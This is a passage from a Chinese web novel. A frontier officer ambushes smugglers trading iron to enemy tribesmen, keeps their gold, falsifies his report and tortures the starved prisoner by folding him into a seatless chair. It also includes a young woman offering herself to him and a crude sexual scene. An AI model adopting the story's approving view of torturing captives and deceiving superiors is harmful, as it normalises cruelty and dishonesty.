多年前为大夏南征北战,被封为“镇北王”的吕南庭,此时已经年过古稀。
而岳佟,曾经是镇北王吕南庭麾下的一名伍长。
由于岳佟骁勇善战,这才从一名步军伍长,一步步被晋升为骁骑尉。
可以说,镇北王吕南庭,就是岳佟背后的靠山。
岳佟感叹一番,又把目光投向叶十三,注视片刻,语重声长地说道:“老王爷知道你小子,本将这番回京,特意向老王爷提及过你小子的战绩。”
“多谢大将军抬爱!”
叶十三受宠若惊,赶忙从桌旁起身,向岳佟躬身一礼。
“行了!”
岳佟也不是好受奉承之人,摆摆手道:“当年镇北王的称号,那可是硬打下来的,这才换得北漠边城三十年的安宁,如今元蒙鞑子好了伤疤忘了疼,近年来又是蠢蠢欲动,历次侵扰我大夏边民的生活,置数万百姓于水火之中。”
镇北王?
这三个字,让叶十三心头重重一震。
一个武将被封为异性王爷,那可是付出了多少心血,立了多少战功才换得的如此福荫?
要知道,只有皇族,才有资格被封王爷。
“吕南庭”三个字,同时也让叶十三浑身的热血就沸腾起来。
抛开古代不说,就前世的现代,他也是此类人物的狂热粉丝。
听闻边城危机,年过古稀的吕南庭居然要抬棺出征。
就凭这一点,也值得叶十三对此产生敬意了。
看来,镇北王吕南庭,当然是力主开战的了,坚决不委屈求全而向元蒙割地赔款。
“末将愿与元蒙决一死战!”
人狠话不多,叶十三依然站着,目光望向岳佟。
“若是我大夏与元蒙开战,末将绝不后退,愿与鞑子血战到底。”
蔡云、戚虎两名百夫长,也纷纷站立,在岳佟面前摆出了一副和元蒙鞑子死磕到底的架势。
只有郑一刀一言未发,怔怔地坐着发呆。
他知道,自己是个身残之人,只能教导兵士们练刀,而不能领兵作战。
就是在此吹牛皮撂大话,他还真没这个资格。
“这些年,你受苦了!”
岳佟当然注意到了这些,也懂郑一刀此时的心境,缓和了语气又道:“这样好了,你主练兵,全力配合叶千户,领百夫长粮饷。”
“谢大将军!”
郑一刀怵然一惊,离开桌子单膝要跪,被岳佟摆手制止了下来。
“末将万死不辞!”
大礼被制止,郑一刀只好抱拳表态。
“行了!”
岳佟又摆摆手,扫了一眼桌上的大块羊肉,道:“都吃吧!这些来之不易,别让叶千户的辛苦白费了。”
这一句,大厅里的气氛,霎时就缓和不少。
岳佟目光投向周钊,缓缓说道:“至于叶十三的军功,可晋升上千户,统兵三千数,无奈地方衙门干涉,加上军部一些人眼红,既然已经晋升下千户,那就暂且按下此事。”
“不过……”
岳佟思忖片刻,又道:“眼下形势逼人,如此兵力难以满足防御之需,还得想办法凑足兵数。”
这不废话吗?
叶十三统领的防务区,只有七个村,眼下已经兵源严重匮乏,无丁可征的事实谁人不知?
岳佟心里清楚,要得让叶十三领一定数量的兵,那就得有与之相符的军职。
眼下就连下千户军职的一千兵数都无法凑够,要得满足眼下的防务所需,叶十三的军职就得晋升到上千户。
就是中千户,按大夏军部的规定,也能领兵两千。
但每一次晋升,那是要军功说话。
就是火线提拔,军功是硬条件。
不然,征兵就是私募兵马,那可是会被定为谋逆造反的嫌疑。
这条红线,岳佟再是车骑大将军,也不敢碰。
何况,叶十三还是个奴籍。
想到这里,岳佟站了起来,凝视叶十三片刻,道:“本将相信你小子,会尽快打开这个局面。”
说完,岳佟目光一瞥周钊,道:“天色不早了,军部还有很多事要做,至于黄羊岘防区的军务整顿,就到此为止吧!”
“遵命!”
周钊对此行,那是心领神会,知道该回镇上了。
送走岳佟,叶十三笑了。
这哪是兴师问罪?
作为车骑大将军的岳佟,是暗示他大开杀戒。
说不定,这背后,还有那个老家伙镇北王的授意。
异姓王爷吕南庭,不想让他半辈子打下的安宁,在他的有生之年眼睁睁地看着土崩瓦解。
那是他一生的心血,也是荣誉,更是子孙后代的福荫。
叶十三不由得把视线,投向自己腰间悬着的那把残刀。
“见佛杀佛,遇鬼杀鬼,敢惹老子,砍死他!”
自言自语一句,叶十三交代一番后,独自去了铁匠铺的后院。
一段时间不见,何秀儿似乎比以前更水灵了。
也许是有饱饭吃的缘故,何秀儿原本干瘪的身子,胸前的鼓起彰显着发育的迹象。
“千户大人请坐!”
一直低着头的何秀儿,把刚煮好了的一壶茶搁在桌上,然后局促不安地在一旁候着。
“有空的话,给你爹送一点粮食过去。”
不知道说什么了好的叶十三,终于说出了一句体恤的话来。
隔壁村里,何秀儿的老爹,还在苦苦的支撑着缺吃少穿的日子。
低着头的何秀儿,嘴唇蠕动几下,终于又说道:“昨天,民女背了一袋糙米回了趟家。”
“一袋糙米?”
叶十三摆摆手,又道:“那可不够,得再备上一些粗粮,填补着熬冬。”
“可是……”
何秀儿像是鼓足了勇气,缓缓抬起头来,红着脸说道:“老郑饭量大,还是多亏千户大人给的那些粮食,这才……”
说完,何秀儿又低下头去,双手捏着衣襟站着。
叶十三明白了!
郑一刀这边,虽然他给拨了一些粮食,但也不是很宽裕,只是没再饿肚子而已。
“这个你放心!”
叶十三摆摆手,又道:“今日起,郑一刀开始领百夫长粮饷了,匀出来一份口粮给你老爹,应该不是什么难事。”
“百夫长粮饷?”
何秀儿猛然抬头,不可置信地望着叶十三。
“嗯!”
叶十三点点头,道:“一名百夫长的粮饷,养活三五口人应该是够了。”
何秀儿做梦都没想到,她嫁的这个瘸子,居然擢升为百夫长?
据她所知,就是郑一刀年轻时在军中,最高也只是混了个什长。
这百夫长和什长之间,那可不是一般的距离。
她懂了!
这些,都来自这个拿走了她第一次的男人。
那次,差点把她给疼死过去。
作为一个女人,面对如此的恩德,她该做些什么?
一阵心迷意乱之后,何秀儿红着脸走到炕沿边,把裤腰带解松后,闭着眼睛就仰面在炕上躺下。
第74章 有可疑情况
此时的叶十三,还在低头沉思。
“是车骑大将军方才决定,擢升郑一刀领百夫长粮饷。”
说完,叶十三缓缓抬头,猛然发现何秀儿双腿分开,两手攥着已经敞开了的衣襟,仰面朝天地在炕沿上躺着,直把两条小腿垂在炕沿外面。
“我得走了,还有不少军务……”
叶十三就像被火烫着了一样,从椅子上蹦了起来,逃命一样的离开了铁匠铺的后院。
何秀儿刚烧的那壶茶,还没被斟进茶碗里面,喝茶的人已经像兔子一样,瞬间就溜了个没影。
“呜呜呜……”
片刻后,猛然睁开眼睛的何秀儿,望着空无一人的桌旁,翻了个身后,就趴在炕上抽泣起来……
回到营房,叶十三抓起半壶已经凉透了的剩茶水,仰起脖子一口气就灌了个精光。
“使不得啊大人!”
见状,马成急得大叫:“大冷的天,吃了不少的肥羊肉,喝了凉的东西,会得绞肠痧的呀!”
“不碍事!”
叶十三拿手背一抹嘴角沾着的一片茶叶,道:“老子肚里火烧,就怕这些凉茶还浇不灭它。”
就在这时候,营房院子的栅栏门里,冲进来一匹战马。
“千户大人,有情况!”
一身破袄打扮的骑兵探马,飞身下马就直奔叶十三面前。
“大人,有可疑情况!”
呼哧带喘的探马,紧接着又道:“自我们离开镇上后,四通钱庄就关门歇业,今天一早,四通钱庄的掌柜贾迎福,去了一家草料场,然后跟着十车草料,就奔落雁坡村的方向而去。”
贾迎福?
草料?
落雁坡?
这不很正常的吗?
落雁坡有蔡云的驻军,地方衙门拨付粮草也是公务范围。
“有何可疑之处?”
叶十三眼前顿觉一亮,但口气却是很平缓,一点都不着急的样子。
“大人,装草料的大车,分量却是不轻。”
探马神情一顿,又道:“草料体积虽大,但重量却是轻于其他物资。”
这不废话吗?
一堆枯草而已,还能重过粮食?
“小的看到那些大车,在泥土上都压出了车辙印,按理说,这严冬时节,地面何等坚硬,岂是一辆装载着草料的车子就能压出车辙的?”
“继续,说下去!”
叶十三貌似来了兴致,催促探马不要断断续续。
探马缓过一口气,又道:“地方衙门给驻军拨付的粮草,自然有衙门的兵卒运送,但从车夫到押车的,都是周府的家丁。”
叶十三笑了,笑得有些诡异。
“传令给吴六子下去,还剩几人全部带上,跟我去一趟落雁坡村。”
探马去传令,马成急忙去备马。
片刻后,吴六子带着留守的三名探马,已经整装待发。
路上,马成问道:“大人,难道周大人私自向驻军倒卖草料?”
“猪脑子?”
叶十三狠瞪马成一眼,差点顺手就给马成一鞭子。
“用脑子想想!”
叶十三指指自己的脑袋,愠怒道:“十车草料值几个银子?再说,蔡云自个有银子给周敬堂付账?”
“哪……”
马成面上一红,条件反射般地把脖子一缩。
这时,马成身后的吴六子开口道:“恐怕草料下面,还装载着其他东西,要不然,哪有如此重的车辙?”
“接着说!”
叶十三转过脸来,向吴六子投去欣赏的一瞥,又对马成说道:“学着点,别成天地想着如何拍老子的马屁。”
看到马成在叶十三面前吃了瘪,后面跟着的三个探马也笑了起来,然后争先恐后地开始说自己的判断。
“车上保准有见不得人的东西,不然钱庄管家怎会亲自押车?”
“一定是粮食,这年头,只有粮食最金贵了。”
“都是屁话,千户大人方才都说了,蔡云哪有银子付账?”
对手下的纷纷看法,吴六子又道:“十辆大车向落雁坡村而去,不一定是送草料给驻军,要知道,蔡云还带着他的骑兵在屯田村参加集训呢!”
这话,还真说到点子上了。
要是地方衙门支援驻军的物资,自然有衙门的兵卒运送。
即就是私下倒卖物资,百夫长蔡云不在村里,那他卖给谁?
想到这里,叶十三勒停了马,瞭望片刻,吼道:“抄近道,赶天黑之前务必到达落雁坡烽火台。”
话音一落,六匹战马长嘶一声,敞开四蹄就向落雁坡烽火台方向疾驰而去。
不到半个时辰,抄近道而来的六人,将战马交给落雁坡的烽燧兵,然后按着叶十三部署的方向又是一阵急行军。
来到一处开阔地,叶十三停了下来。
此时,太阳还没落山,方圆十里还可视物。
此地远离驻军大营和村子,又是处于和烽火台相反的方向。
这处荒滩,极少有干枯的茂草,稀疏的骆驼刺,倒是分布得四处都有。
“就这里了!”
叶十三挥挥手,让大家蹲下来减小目标。
“溪流对面,就是元蒙地界,眼下溪水冰冻,此处又是平坦无阻,行车很是方便。”
“大人,您说是,贾迎福会带着十辆大车,走这边?”
“要是老子估计得没错,这老东西必定和鞑子有交易?”
“啊……这贾迎福的胆子,未免也太大了吧?”
“不是贾迎福胆子大,而是他背后的东家胆子不小。”
“大人是说,他们会和鞑子交易草料?”
“草料交易个屁!几堆草料,以放牧为生的鞑子牧民,难道稀罕这个?”
“小的明白了,这老东西,肯定是有值钱的东西要出手。”
马成终于明白了,叶十三选择在这里设伏,就是算准了贾迎福会走这边。
叶十三笑了,望了四周一眼,然后指着不远处的几丛骆驼刺,道:“吴六子带二人,在那边设伏,剩下二人去对面,我和马成在正前方设伏。”
“明白!”
包括马成在内的五人,齐齐低声应答。
“隐蔽!”
叶十三低吼一声,猫着腰就奔向前面一处骆驼刺丛生的刺蓬后面伏了下来。
不多时,落雁坡村子北边,隐约传来车轴的吱扭声。
“都隐蔽好了,切莫轻举妄动。”
叶十三压低声音,又是一句叮嘱。
与此同时,元蒙方向的地平线上,突然冒出几个黑点。
黑点在落辉下越来越大,慢慢变成了马车的轮廓。
一,二,三……八,九,十。
叶十三在心里默数到十,是十辆马车,和探马禀报的草料车数量相等。
不过,十辆马车越来越近的时候,可以清楚地看到,元蒙方向过来的十辆马车,却是空车。
两队马车,同时向叶十三们藏身的方向越来越近。
贾迎福走在草料车的最前面,同行的人加上赶车的,共二十人。
这些人一身商旅打扮,与普通商旅不同的是,手里还握着兵器。
元蒙那边过来的马车就不同了,总共十人,但都带着弯刀。
这些人一身皮袍,完全不是元蒙鞑子兵的打扮。
可他们腰间悬着的弯刀,却是完全一样的。
片刻间,两队马车在叶十三们藏身的不远处相遇,只见他们嘀咕几句,瞬间就换到对方的车前,正准备各自返回。
这样一来,元蒙方向来的人,继续赶着装载着草料的马车返回。
而贾迎福他们,则转身赶着鞑子的空马车返回。
“干掉带头的鞑子!”
叶十三看向身边已经弯弓搭箭的马成,下令他把第一辆草料车前的鞑子射死。
“嗖!”
一支弩箭带着破空之声,瞬间就隐没在身穿皮袍的鞑子胸口。
“啊……”
第一辆草料车前的鞑子惨叫一声就倒了下去。
紧接着,从吴六子们藏身之处的骆驼刺蓬里,也接连射出三支弩箭。
紧接着,六条人影,从马车两侧不远处的刺蓬中一跃而起。
第75章 等狼吃饱了,才有更多的狼粪
“啊……”
又是三声惨叫,在空旷的荒滩上响起。
三个鞑子随即就倒了下去。
在看到有人影向马车两侧激射而来,剩下的六个鞑子怪叫一声,分头向来时的方向狂奔而去。
“能走得了吗?”
叶十三怪笑一声,身子在半空转了个身,一挥手中残刀就扑向离得最近的一个鞑子。
“噗!”
只见疯狂逃窜的鞑子身子向前一扑,张口就喷出一股血箭,“扑通”一声就倒地气绝。
鞑子的背上,一条二指宽的刀口,正汩汩地向外冒着热腾腾的人血。
转眼之间,又有三个鞑子在飞奔中栽倒在地不见爬起。
另外三个鞑子,从三个方向消失在逐渐笼罩下来的夜幕中。
马成这边,跪在地上的贾迎福,浑身已经抖得说不出一句完整的话来。
同来的一十九个周府家丁,已经横七竖八的躺了一地。
叶十三提着刀,缓缓来到贾迎福面前。
轻蔑地一瞥浑身发抖的贾迎福,叶十三向身边人说道:“把车上的草料掀了。”
一声令下,吴六子率先一刀砍断绑着草料的绳子,一车草料瞬间四散开来被掀下马车。
“大人,是铁!”
剩下的九辆马车,也都被掀掉了草料,露出了藏在里面的各种铁器。
坏了的铁锹,镐头,断刀,矛尖,铁锅碎片,甚至还有粗壮的铁钉。
从另外几辆马车上,还搜出烧炼过的铁坯。
十辆用草料打掩护的马车,除了各种铁器,还有盐巴和茶叶。
除了茶叶以外的铁和盐巴,那可都是朝廷明令禁止交易的东西。
况且还是跟鞑子交易,那更是罪上加罪。
再看鞑子赶着的十辆马车,这十辆马车并非都是空车,其中一辆马车上,拉着一只牛皮箱子。
打开箱子一看,里面全是金银器物。
这一箱子金银,用手一掂,足有上百斤重。
“贾掌柜,改行做铁器生意了?”
叶十三似笑非笑,目光看向面如死灰的贾迎福。
自知难以活命的贾迎福,索性闭起眼睛一言不发。
“大人,要不上刑的话,这老东西是不会开口的?”
马成说着,已经扬起了马鞭。
“行了!”
叶十三把残刀插回刀鞘,摆摆手道:“说不说都一样,老子不指望他的口供,押回去关起来,让他永远见不到天日,到时候他想说,老子还不愿意听呢!”
事情是明摆着的,贾迎福说了是死,不说还是死。
叶十三扫了一眼满地的尸体,淡淡说道:“鞑子的脑袋有用,砍下来送军部领赏,尸体留这里喂狼,烽火台不是需要狼粪嘛!狼吃饱了,才有狼粪可捡拾。”
“大人,这车呢?”
马成望着静立在地的二十辆马车,不知道该如何处置。
“车?”
叶十三差点就给马成一鞭子,怒道:“当然是赶回去了,难道野狼用得着车不成?”
“是,是。”
马成一咧嘴,露着白森森的牙笑了,立刻和探马们一起动手,把二十辆马车首尾连在一起,自己则在最前面牵着拉车的头马,走在前面带路。
叶十三索性抱起一捆干草料,扔在拉有牛皮箱子的马车上,自己爬上车子倒头就睡……
子夜时分,终于到了营房。
饥肠辘辘的叶十三,完全没有了睡意。
幸好,库房里还有半个被剔掉了肉的马架子。
“煮饭,要干饭,不要稀汤。”
叶十三吩咐一名探马去煮饭,然后又对另一名探马说道:“剁几根马骨头,切上山药蛋一起炖了,肉汤浇饭吃了更扎实。”
吩咐完煮饭炖汤的事,叶十三躺在火炕上,对着屋里坐在桌旁等饭吃的吴六子们说道:“给大伙每人记上一功,马成带上两人,把那六个鞑子的脑袋送去军部,就说夜巡期间,遇上的鞑子探马。”
马成指着炕头放着的牛皮箱子,不失机灵地说道:“大人,这个就不用带了吧?”
“你说呢?”
叶十三差点翻身起来就给马成抽一个嘴巴。
看到叶十三怒火上头,马成吓得脖子一缩,急道:“还是留着,要是交给军部,还不得被那些人私分掉了。”
一旁的吴六子看到马成的狼狈样,忍不住笑道:“你应该去向军部邀功啊,上交一百两金子,领回来十两银子难道不香吗?”
“去去去,你小子翅膀硬了,也敢调侃老子?”
马成闹了个大红脸,躲到一旁主动去烧茶水。
这次买回来的茶叶不错,起码有茶叶该有的清香味。
哪像以前的那些茶叶,被压成硬块的茶叶,掰下一块煮了,满屋子都是一股子烂树叶的馊味,要是不放些盐巴进去,简直就无法下咽。
“大人,贾迎福那个老东西,真不用审问吗?”
还是吴六子冷静,向叶十三提出来一个很关键的问题。
叶十三摆摆手,扫了一圈屋里,道:“关于贾迎福被抓获的事,一定要向外面保密,老子还不想把周敬堂揪出来,就这些物证,哪怕是有了贾迎福的口供,还不足矣能扳倒周敬堂。”
没错,贾迎福的口供,完全可以说成是屈打成招。
至于和鞑子勾结,贩卖铁器和盐巴这事,同样难以形成有力的证据链。
周敬堂可以死不认账,因为那种铁器碎料,到处可以收购收集。
只要贾迎福没有拿成品兵器和鞑子做交易,还真难用这些证据来浪费时间。
就眼下,损失了八万两银子,又少了一个掌柜和两个伙计,四通钱庄短期内是开不了门了。
仅这些,都够周敬堂火大得三天拉不出屎来。
“那好,小的们看好他就是。”
吴六子点点头,明白了叶十三的意思。
“其实想要他的口供很简单,根本用不着上刑,饿他个三五天,咱不问,他都抢着说。”叶十三的这话,大家都信,饿肚子的滋味,他们这些人都没少体会。
“那些铁?”
吴六子又是一问,这个问题还真关键。
叶十三点点头,道:“还真是雪中送炭,那些破烂铁器,足有四千斤重,交给屯田村的铁匠铺,组织人手连夜熔炼造,全部打造成兵器,尖矛和钩镰枪必须要有,其次剩下的打造成长刀。”
如此一算,这批铁器碎料,基本上能打造五六百把趁手的兵器。
要知道田兵和驻军们手中的那些刀枪,一部分真不如砍柴的柴刀好用。
“老子还真的感谢何家和周敬堂了。”
叶十三满脸得意,笑道:“没粮的时候,这何家给了,缺钱的时候,这四通钱庄给了,老想着更换大伙的兵器,这贾迎福还真是及时雨,不也给老子送来了铁料吗?”
说完,等饭吃的探马们,都忍不住捧腹大笑起来。
第76章 走,上衙门
第二天早上,徐老六到了营房。
叶十三指着营房院中的二十辆马车,道:“留下两辆供烽火台备用,其余的,连车带马造册登记充为军资。”
“千户大人,昨夜又行动了?”
徐老六惊异中难掩兴奋,逐个查看着每辆马车。
叶十三指着那些碎铁,道:“例行巡查,遇上和鞑子私下交易的不法商贩,这就收缴了些铁器,你立刻组织最好的铁匠,尽快打造成兵器备用。”
待徐老六的人赶着马车离开营房,叶十三被一阵困意漫卷得睁不开眼睛。
马成带着六个鞑子的脑袋去了镇里的军部。
吴六子带着剩下的八名探马沿线巡查。
此时的叶举,也结束了喂马的差事,去了何家大院干些杂活。
营房只剩叶十三一人,趁着眼下无事,补个昨夜所欠的安稳觉,才是此时最迫切的需要。
……
午时都过了,还不见贾迎福归来。
心神不宁的周敬堂,急得就像热锅上的蚂蚁在地上来回走动。
“狗东西,这次要是再办砸了?老子活剥了你的皮!”
咬牙切齿地骂了一句,周敬堂这又想起叶十三来。
“小兔崽子,你给老子等着,就你手里那些乌合之众,迟早会死在鞑子的刀下,黄羊岘不是铜墙铁壁,要是元蒙和大夏全线开战,第一个死的,就是你这姓叶的狗杂碎。”
周敬堂自言自语骂了一阵,不时地拿眼睛往外瞅。
他对叶十三的恨,已经是不共戴天,何家被抄,直接断了他的一条财路。
这不,四通钱庄又是因这个灾星的押贷,又白白损失八万两银子。
眼下大夏随时会和元蒙开战,像叶十三这种莽夫,被军部捧成个香饽饽。
要不是有军部后面撑腰,他真想一巴掌拍死这个奴籍。
“大人……”
就在周敬堂对叶十三诅咒不已的时候,一名家丁匆匆而入。
“大人,小的沿途接应,都走了三十里地,还不见贾管家他们。”
听了家丁的禀报,周敬堂心头腾起一种不祥之感。
按时间,贾迎福早该回来了。
通过对路程的计算和以往的交易来看,到达目的地刚好天黑,这个时间段不会引起别人的注意。
返程按原路,到达镇上刚好半夜,这又是一个较为隐蔽的时间段。
可这都午后了,还不见贾迎福们的丝毫踪影。
“会不会马车坏路上了?”
周敬堂不自信地问了家丁一句。
“这个,不大可能!”
家丁摆摆手,肯定地说道:“车辆都是反复检查过的,即就是有零星车辆突发路况故障,也不影响货物的运送,其他车子可以丢掉草料,转移要运送的货物。”
“该不会发生什么意外?”
周敬堂又是一句。
“即就是那样,也会来人报信的,二十个人眼下人也不见,车马也是不见。”
家丁擦着脸上的汗,神色逐渐慌张起来。
“快马加鞭,再探!”
周敬堂心里一虚,沉声又是一通嘱咐。
“等等!”
转身就要离开的家丁,又被周敬堂喊了回来。
“去衙门营房,带上十来个兵,沿途寻找,但不可走漏半点风声。”
“大人放心,小明白。”
看到家丁离开的背影,周敬堂忐忑不安地又坐了下来。
这屁股还没坐稳,又有一名衙门的兵卒来了。
“大人,小的一直排查到落雁坡地界,还是没发现贾管家他们的行踪。”
原来,周敬堂派出的人手,不只是方才的家丁这一路。
“难道他们走岔了道?”
周敬堂眉头一皱,再也想不出个理由。
“走错路应该不会!”
兵卒思忖片刻,又道:“路上的草料碎屑,一直出现在通往落雁坡地界的路上,小的再没有跟下去,怕遇上驻军盘查反而引起不必要的麻烦……”
兵士擅离大营外出,那是要被审查的。
“那就只有一种可能,他们要么遇上盘查的驻军被扣押,要么路上为了躲避盘查绕道太多误了行程?”
周敬堂自己推测一下,脸色越来越难看,阴沉得快要拧出水来。
“走,上衙门。”
忽然像是想起来什么?
周敬堂迅速穿戴好官衣,急匆匆就去了衙门公堂。
到了衙门公堂,也不见有各村公务办理的来人。
如果贾迎福出事,定会有人来衙门报官。
周敬堂在火盆旁接连煮了两壶茶喝了,又跑了八趟茅厕撒尿,直到太阳西斜还不见有信息传来。
不好!
贾迎福不是出事?
而是跑了!
就在钱庄关门歇业的第二天,贾迎福打发家小回老家,说是边城即将战乱,让家人回去暂住,等来年开春再回来。
当时,他也没多想,以为贾迎福为了自己的过失,打发掉老婆孩子后,会更加卖力地投入到为他敛财的事务中去。
如此看来,他是上了贾迎福的当?
如果真是这样,那么,质押物被调包,绝对是贾迎福动的手脚。
眼下,贾迎福借着和鞑子的那笔交易,说不定卷了鞑子兑付的金银逃之夭夭了?
“狗东西!”
想到这里,周敬堂几乎是跳了起来。
他怎么也想不到,贾迎福居然会是个家贼?
派兵把贾迎福的家小追回来?
已经不大可能了。
两天时间,马车能赶不少的路。
再说,要是贾迎福提前做好了安排,说不定他的家小回没回老家?这还是个问题。
贾迎福在边城的家小,只是一个小妾,而且儿子还不足十岁。
就是去老家把贾迎福的原配抓了,原配也不一定知道这些财产的去向。
不对啊!
贾迎福要是卷走了金银跑了?
那么!
同行的那一十九个家丁,他们有一半的人是附近村里的本地人。
这些人不会跟着一起逃跑?
不会,绝对不会。
这些人的家就在附近村里,借他们个胆子,也绝不敢干出这样的事。
最后一种可能,那就是黑吃?
鞑子黑了他的货,然后把贾迎福们给杀了?
这种可能性最大,眼下鞑子对大夏人的仇恨,那可不是一般的仇恨。
再是多年的买卖关系,但叶十三杀了那么多的鞑子,难道鞑子们就不会记恨大夏人?
“叶十三,老子刨了你的祖坟都不解恨!”
周敬堂又大骂一声,他把这一切,最后都归咎在叶十三身上。
就是贾迎福们被鞑子杀了,那也是叶十三惹下的祸根。
就在这时,有兵卒来报。
“大人,叶十三的手下,带着六颗鞑子的人头,还有六把鞑子使用的弯刀兵器,去军部请功报赏了!”
第77章 求你了,给口吃的
“什么?”
周敬堂霎时被惊出一身冷汗。
“启禀大人,是黄羊岘防区千户叶十三的手下马成,带着六个鞑子脑袋和缴获的兵器,已经去了军部。”
兵卒怕周敬堂没听明白,又复述了一遍刚才的话。
“没见狼烟传讯,何来鞑子入侵?”
周敬堂极力使自己冷静下来,又是一问。
兵卒挠挠头,又道:“小的听军部当差的熟人说,叶十三在防区巡线,和鞑子探马相遇,这就发生了激战……”
此言一出,周敬堂暴跳如雷,吼道:“为何不是鞑子探马杀了叶十三那个杂种?”
“要是抓了活口,说不定还能审问出鞑子兵力的部署,以及鞑子对我大夏用兵的策略……”
周敬堂说完,又补充了一句来圆自己方才的口误。
让鞑子杀了叶十三?
这样是话,在任何场合是不能说的,再说自己的内衙,也不能有这种出格的言行。
好在兵卒一时还没反应过来。
“也是啊!”
兵卒点点头,似有所悟地说道:“抓个活口,也是有嘉奖的,要是能审问出更有价值的情报,嘉奖会比杀一个鞑子的还要高。”
“那些鞑子,是在什么地方被杀的?”
周敬堂眼里闪过一丝亮光。
“好像,好像是说黄羊岘防区一线。”
“屁话,黄羊岘防区管辖七个村,十个烽火台,难道六个鞑子是从这七个方向来的?”
周敬堂随即又大怒,差点一脚就给踹过去。
兵卒摇摇头,不确定道:“应该是岘口,或者是……”
“滚!”
这下,周敬堂终于爆发,咆哮一声就把兵卒给轰了出去。
与此同时,叶十三醒了。
这一觉,睡得真是香,居然忘了吃午饭。
“大人,您吃点?”
马成站在炕前,喜哈哈望着叶十三。
没等叶十三说话,马成又道:“徐佥事给了两只羊,说是犒劳大人您的。”
草!
老子上次抢来的羊,多数都给了他徐老六,这老小子倒是会借花献佛,拿老子给他的羊来讨老子的喜欢。
叶十三大嘴一咧,笑道:“老子还以为这徐老六早把那些羊给造光了呢,还想到他还有存货?”
“是啊大人,徐老六那可是出了名的抠门,也只有对大人您才大方一次。”
马成满脸堆笑,似乎烤得滋滋冒油的羊肉,已经由他来分配一样。
“也好!”
叶十三点点头,望了一眼窗外的天色,发现天已经黑了下来。
“这都黑了?”叶十三问。
马成挠挠头,笑道:“可不是嘛!大人您从昨晚半夜,一直睡到现在,小的们都不敢打搅您的美梦。”
美梦?
老子做梦了吗?
叶十三努力想了半天,也想不起来自己这一觉做了什么梦?
别说是美梦了,就连何秀儿那半熟的身子都没梦到,还美梦?
忽然,叶十三像是想起了什么?
“贾迎福那老东西,可曾老实?”
“回大人话,那老东西被关在菜窖里,没吃没喝,活活给饿着。”
“好!”
叶十三点点头,道:“那处菜窖空着,正好关押这老东西,今天晚上迟一点,我要亲自审他。”
如此算来,贾迎福已经一天一夜没吃东西了。
要是昨天早饭后,忙着赶路的贾迎福,路上再没吃过东西的话,那应该是两天一夜水米没进了。
想到这里,叶十三又笑了。
“大人,那老东西要是不说,要不要……”
马成说着,用手做了个揍人的动作。
“行了!”
叶十三大嘴一咧,又道:“先去宰只羊,半只清炖,半只烧烤,拿些白面蒸一锅白面馒头,我要让贾迎福看看老子是如何大吃大喝的。”
“高,实在是高,还是大人您有办法!”
马成从来不失机灵,赶着给叶十三竖了个大拇指。
“反正,我现在还不饿,你去慢慢发面,慢慢炖肉,馒头要发醒,肉要炖烂才好吃。”
向马成交代完毕,叶十三倒头又睡。
……
子夜时分,叶十三被马成叫醒。
“大人,羊肉炖得糯烂,木炭也烧上了,您看?”
“好,那就都端上来,你几个也一起尝尝。”
叶十三一骨碌翻身起来下了炕,坐在炭火旁边的矮桌后面。
“茶煮上,蒜剥了,馒头夹大酱,都端上来。”
马成回头喊了一声,然后把自己手中的一只大木盘摆在桌子正中。
包括吴六子在内的十名探马,在主桌两侧各摆了一张桌子,一桌五人刚好。
马成和吴六子在主桌两侧坐了陪叶十三。
炖羊肉散发出来的香气,令探马们垂涎三尺,这些探马们得知炖羊肉,晚饭都没敢吃饱,留着肚子准备半夜大吃一顿。
镇上馆子里那顿羊肉,让他们终身难忘。
探马们眼巴巴盯着主桌上木盘里堆得小山一样的羊肉,只等叶十三一声“开吃”的令下。
哪知道!
叶十三盯着眼前的羊肉片刻,抬起头来说道:“来呀!有请四通钱庄贾迎福贾掌柜。”
怎么?
半夜煮肉,难道要请那个老东西不成?
在探马们吃惊不小的同时,只有吴六子笑了,转头吩咐道:“把灯都挑亮了,准备纸墨笔砚还有朱砂印泥。”
揣着一肚子疑问的探马们,又不敢多嘴一问,只好分头
去找所要的东西。
四个探马去了菜窖,把瘫软在地的贾迎福给架了过来。
叶十三斜瞥一眼被两名探马从左右架着的贾迎福,缓缓说道:“菜窖是冷了些,还是屋里暖和,给贾掌柜看座。”
看座?
确保自己没有听错?
给这个罪恶滔天,五行缺德的老东西看座?
跟在后面的两名探马一阵头大,不知道叶十三葫芦里究竟卖的什么药?
难道,半夜煮肉蒸馍,是要请这个老东西吃羊肉不成?
“都聋了?”
吴六子眼睛一瞪,怒骂道:“大人让给贾掌柜看座,你们几个耳朵都聋了?”
这时候,离开桌子的马成,搬了一把椅子放在屋子中央的地上。
“贾掌柜,请上座。”
马成放下椅子,然后束手立在一旁。
两名架着贾迎福的探马,立刻转过身子,把贾迎福往椅子上一放。
“扑通!”
刚被放在椅子上的贾迎福,突然脚尖贴着前额,身子折成了一把曲尺,从椅子上镶嵌了进去。
借着油灯昏暗的光晕,探马们这才反应了过来,这椅子,是被拆掉了椅子面。
贾迎福屁股朝下,被折叠得两只脚面和额头紧贴在一起,被卡在没有了椅子面的椅圈中不得动弹半分。
“啊……”
贾迎福虚弱地惨叫一声,两条胳膊软塌塌地垂在椅子外面两侧。
“求你了……给……给口吃的……”
闻到了肉香的贾迎福,顾不得身子骨差点被折断的疼痛向叶十三求饶,而是张口就要吃的。
第80章 冻死你俩公母
后衙,周敬堂寝室。
“这么早就有人搅扰,真是烦人。”
一身白肉的小妾,从身上把气喘吁吁的周敬堂,用力给推了下来。
“别管他,让那狗东西外面冻着去。”
被小妾推到一边的周敬堂,平躺着直喘粗气,拿手背擦了一把额头的汗,又道:“跑来衙门找老子,必定是有事求着老子了,看老子不拖死他!”
小妾系好了肚兜,拿一团棉衣往白花花的腿间一塞,嘟囔道:“老是这样猴急火燎的,还没进门就吐外边了。”
“嗨嗨……”
周敬堂顺过一口气来,讪讪说道:“我这是被气的,都怪叶十三那个狗东西。”
翻身下了炕的小妾,白了周敬堂一眼,然后骑在门后的一只铜盆上说道:“按理说,生气时的男人,应该更猛火一些,奴家还等你把一肚子的气,出在奴家身上好了,奴家正等你弄**的架势呢,可你倒好,窝囊得还不如平常……”
一股急流冲刷在铜盆上的声响,夹杂着外面的一阵嚷嚷声传了过来。
“这大冷的天,围着火盆在炕上烤肉吃多好!”
“刺啦!”
被外面突来的说话声,惊吓得猛然站了起来的小妾,一股骚气冲天的尿水,就被滋到自己光着的两只脚上。
惊慌失措的小妾,胡乱抓过衣物套在身上后,说话声已经到了门口。
“看来,周大人这是在烤肉啊!”
